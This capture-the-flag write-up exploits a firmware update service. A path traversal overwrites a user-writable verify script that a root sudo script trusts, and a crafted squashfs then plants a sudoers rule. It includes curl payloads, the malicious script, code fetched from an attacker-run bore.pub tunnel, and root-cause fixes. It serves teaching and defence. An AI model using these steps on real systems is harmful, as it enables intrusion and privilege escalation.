Summary
The challenge exposes a firmware update service ("Bink ink update tool v1.0.5") running as
brunner_operator inside a Debian container, reachable only through a Squid proxy. The tool
accepts text commands — get, verify, list, etc. — over a raw TCP socket wrapped by socat.
Two vulnerabilities chain together to give full root:
Path traversal in
get- thefirmwarequery parameter is passed directly to
os.path.joinwith no sanitisation, allowing../../../../sequences to write
arbitrary files anywherebrunner_operatorhas write access.Privileged script trusts user-writable script -
bink_ink_apply.shruns as root
via sudo but calls back into/home/brunner_operator/bink_ink_verify.shfor its
"signature check" step. Sincebrunner_operatorowns that file, overwriting it turns
the signature check into arbitrary root code execution.
The exploit overwrites bink_ink_verify.sh with a malicious version that bypasses the
signature check and triggers bink_ink_apply.sh (via the existing sudo rule) to apply a
crafted squashfs that drops a new sudoers rule onto the container's root filesystem.
Once that rule is live, sudo cat /root/flag_root.txt is permitted and both flags are
printed inline in the same HTTP response.
Environment (from source zip)
The challenge ships a single Docker container built on Debian. Here is the full
picture of what is running inside before we touch anything.
Dockerfile
FROM debian@sha256:fac46bff2e02f51425b6e33b0e1169f55dfb053d83511ca28aa50c09fd5ed7a4
RUN apt-get update && apt-get install -y \
squashfs-tools python3-requests openssl tar socat squid sudo supervisor
RUN useradd -m -s /bin/bash brunner_operator
COPY etc /etc
COPY bin /bin
RUN chmod 755 /bin/bink_ink_update_tool.py
RUN chmod 755 /bin/bink_ink_apply.sh
COPY brunner_operator /home/brunner_operator
RUN chown brunner_operator:brunner_operator /home/brunner_operator/bink_ink_verify.sh
RUN chmod +x /home/brunner_operator/bink_ink_verify.sh
COPY flag_root.txt /root # chmod 400 - root-readable only
COPY flag_user.txt /home/brunner_operator # chmod 444 - world-readable
RUN echo "brunner_operator ALL=(root) NOPASSWD: /bin/bink_ink_apply.sh" >> /etc/sudoers
EXPOSE 8000
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
Key observations at a glance:
-
brunner_operatorhas one sudo rule:/bin/bink_ink_apply.sh- nothing else -
bink_ink_verify.shis owned bybrunner_operator- user-writable -
flag_root.txtischmod 400- only root can read it directly -
flag_user.txtischmod 444- world-readable (it is handed out as soon as we get code exec)
Process layout (supervisord.conf)
[supervisord]
nodaemon=true
user=root
[program:squid]
command=squid -N -d 1
user=root
autorestart=true
[program:bink_ink_update_tool]
command=socat tcp-l:30005,bind=127.0.0.1,reuseaddr,fork \
exec:"/bin/bink_ink_update_tool.py",pty,echo=0,raw,iexten=0
user=brunner_operator
autorestart=true
-
squidruns as root and listens on port 8000 (exposed externally) -
bink_ink_update_tool.pyruns asbrunner_operator, bound to127.0.0.1:30005via socat - only reachable through the proxy
Squid config (squid.conf)
http_port 8000
acl CONNECT_method method CONNECT
http_access deny CONNECT_method # no HTTPS tunnelling
acl allowed_ports port 30000-50000
http_access allow allowed_ports
http_access deny all
CONNECT is blocked (no blind HTTPS tunnelling). Only ports 30000–50000 are
reachable through the proxy. The update tool on 127.0.0.1:30005 falls inside
that range and is the intended target.
Firmware version & public key
v2.3.4
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAWHh3cLSkUXdyVIpA3FG6nU18ok4BI0QQhBMj5PdhHa8=
-----END PUBLIC KEY-----
Ed25519 public key used by bink_ink_verify.sh for signature checking - we will
bypass this entirely by overwriting the script before verification runs.
Source code walkthrough
bink_ink_update_tool.py (runs as brunner_operator)
The command loop reads one line from stdin and dispatches:
| Command | Function |
|---|---|
get |
Download firmware from URL |
verify |
Run bink_ink_verify.sh on a local file |
apply |
Disabled ("Feature is disabled. Please contact support.") |
list |
List files in /tmp/firmwares/
|
version |
Print /etc/bink_ink_version
|
license |
Print /etc/bink_ink_license
|
help |
Print command list |
get - the vulnerable function:
FIRMWARE_DOWNLOAD_PATH = "/tmp/firmwares"
def download_file(path):
parsed = urlparse(path)
params = parse_qs(parsed.query)
fw_name = params["firmware"][0] # ← taken raw from query string
r = requests.get(path)
fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name) # ← no sanitisation
with open(fw_path, "wb") as f:
f.write(r.content)
os.path.join("/tmp/firmwares", "../../../../home/brunner_operator/bink_ink_verify.sh")
resolves to /home/brunner_operator/bink_ink_verify.sh. No .. stripping, no
realpath check, no allowlist - a direct arbitrary file write as brunner_operator.
verify - how it triggers our script:
def verify(firmware_file):
real_path = os.path.realpath(os.path.join(FIRMWARE_DOWNLOAD_PATH, firmware_file))
if not real_path.startswith(FIRMWARE_DOWNLOAD_PATH) or not os.path.isfile(real_path):
print("Invalid path")
return
ret = subprocess.run(["/home/brunner_operator/bink_ink_verify.sh", firmware_file])
verify does check that the target file is inside /tmp/firmwares/ - but it
calls bink_ink_verify.sh unconditionally, and that script is the one we just
overwrote. The firmware_file argument here is just the plain filename (pwn.tar),
with no path separator, which is important later.
bink_ink_verify.sh (original, owned by brunner_operator)
#!/bin/bash
set -euo pipefail
TAR_FILE="$1"
PUB_KEY="/etc/bink_ink_fw_public_key.pem"
WORKDIR="$(mktemp -d)"
tar xf "$TAR_FILE" -C "$WORKDIR"
if openssl pkeyutl -verify -pubin -inkey "$PUB_KEY" \
-in "$WORKDIR/firmware.bin" \
-sigfile "$WORKDIR/signature.sig" \
-rawin 2>/dev/null; then
rm -rf "$WORKDIR"
exit 0
else
rm -rf "$WORKDIR"
exit 1
fi
Verifies an Ed25519 signature over firmware.bin using the public key at
/etc/bink_ink_fw_public_key.pem. Because brunner_operator owns this file,
we can replace it entirely.
bink_ink_apply.sh (root-owned, runs as root via sudo)
#!/bin/bash
set -euo pipefail
VERIFY=/home/brunner_operator/bink_ink_verify.sh
WORKDIR="$(mktemp -d)"
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT
tar -xf "$TARBALL" -C "$WORKDIR"
FIRMWARE="$WORKDIR/firmware.bin"
echo "[*] Verifying firmware signature"
if ! "sudo" "-u" "$SUDO_USER" "$VERIFY" "$TARBALL"; then
echo "Error: firmware verification failed, aborting"
exit 1
fi
echo "[*] Verification succeeded, applying updated firmware to /"
unsquashfs -f -d / "$FIRMWARE"
This is the privileged escalation path:
- Runs as root (called via
sudo /bin/bink_ink_apply.sh) - Calls back into
$VERIFY- which is/home/brunner_operator/bink_ink_verify.sh(user-writable!) - If verify exits 0, applies the squashfs directly to
/as root
$SUDO_USER is set to brunner_operator by sudo, so the verify callback runs
as brunner_operator. The $TARBALL argument passed to the callback is the full
path /tmp/firmwares/pwn.tar - it contains a /. We exploit this to distinguish
the recursive call from the direct call.
Attack Chain
Step 0 - Reaching the service
The tool is only accessible via the Squid proxy. We send our commands by cramming
them into the HTTP body with --data-binary. The proxy ignores the HTTP headers
and the update tool sees only our \n-terminated command line.
BASE="curl --http1.1 --proxy-insecure \
-x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
-H 'Connection: close'"
Step 1 - Expose a local HTTP server
The target container fetches firmware by making outbound HTTP requests. We tunnel
our local Python server through bore to get a reachable URL:
python3 -m http.server 8000
/root/.cargo/bin/bore local 8000 --to bore.pub
# → listening at bore.pub:50014
Step 2 - Build the malicious bink_ink_verify.sh
#!/bin/bash
cat /home/brunner_operator/flag_user.txt 2>/dev/null
# bink_ink_apply.sh calls us with the full tarball path (contains /)
# detect that and exit 0 to pass the "signature check"
if [[ "$1" == */* ]]; then
exit 0
fi
# direct call from update tool: run the full exploit
sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
sudo cat /root/flag_root.txt 2>/dev/null
exit 0
Step 3 - Build the squashfs payload (pwn.tar)
The squashfs is what bink_ink_apply.sh writes to / after our fake
signature check passes. We put a sudoers drop-in inside it that grants
brunner_operator permission to sudo cat:
mkdir -p squash/etc/sudoers.d
echo "brunner_operator ALL=(root) NOPASSWD: /bin/cat" \
> squash/etc/sudoers.d/pwn
chmod 440 squash/etc/sudoers.d/pwn
mksquashfs squash firmware.bin -noappend -comp xz
echo -n "FAKESIG123" > signature.sig # dummy - verify is bypassed
tar -cf pwn.tar firmware.bin signature.sig
Step 4 - Upload everything via path traversal
Overwrite bink_ink_verify.sh:
curl --http1.1 --proxy-insecure \
-x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
-H "Connection: close" \
--data-binary $'get http://bore.pub:50014/bink_ink_verify.sh?firmware=../../../../home/brunner_operator/bink_ink_verify.sh\n' \
http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in
# /tmp/firmwares/../../../../home/brunner_operator/bink_ink_verify.sh
Upload pwn.tar to /tmp/firmwares/:
curl --http1.1 --proxy-insecure \
-x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
-H "Connection: close" \
--data-binary $'get http://bore.pub:50014/pwn.tar?firmware=pwn.tar\n' \
http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in /tmp/firmwares/pwn.tar
Step 5 - Trigger verify and collect both flags
curl --http1.1 --proxy-insecure \
-x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
-H "Connection: close" \
--data-binary $'verify pwn.tar\n' \
http://127.0.0.1:30005/
Full output:
Verifying firmware, please wait..
brunner{Y0u_B1nk3d_th4t_1nk!!} ← user flag
[*] Unpacking update into /tmp/tmp.C9oqfksBbV
[*] Verifying firmware signature
brunner{Y0u_B1nk3d_th4t_1nk!!} ← our script exits 0 (recursive call)
[*] Verification succeeded, applying updated firmware to /
Parallel unsquashfs: Using 16 processors
1 inodes (1 blocks) to write
created 1 file
created 3 directories
[*] Firmware applied successfully
brunner{d0nt_have_hi_priv_scr1pts_th4t_bl1ndly_tru5t_l0w_pr1v_scr1pt5} ← root flag
Verification of firmware file pwn.tar, success!!
Execution flow diagram
verify pwn.tar (update tool)
└─ subprocess: bink_ink_verify.sh pwn.tar [as brunner_operator]
├─ cat flag_user.txt → user flag printed
├─ "$1" = "pwn.tar" (no slash) → full path
├─ sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
│ ├─ tar -xf → extracts firmware.bin + signature.sig
│ ├─ sudo -u brunner_operator bink_ink_verify.sh /tmp/firmwares/pwn.tar
│ │ └─ "$1" contains "/" → exit 0 (fake signature pass)
│ └─ unsquashfs -f -d / firmware.bin [as root]
│ └─ writes /etc/sudoers.d/pwn to container root fs
└─ sudo cat /root/flag_root.txt → root flag printed
(sudoers.d/pwn now in place → permission granted)
Root Cause
Two mistakes compounding each other:
1. No path sanitisation in get
fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)
os.path.join does not strip .. components. Fix: call os.path.realpath and
assert it starts with FIRMWARE_DOWNLOAD_PATH, or strip everything except the
basename with os.path.basename(fw_name).
2. A root-level script unconditionally trusts a user-writable script
bink_ink_apply.sh (root, sudoable) hardcodes VERIFY=/home/brunner_operator/bink_ink_verify.sh
and executes it as part of a privileged workflow. Because brunner_operator owns
that file, any code-exec as that user becomes root. Fix: move the verify script to
a root-owned, immutable path (/usr/lib/bink/verify.sh) and perform signature
checking entirely within the privileged script using a root-owned key store.
Top comments (0)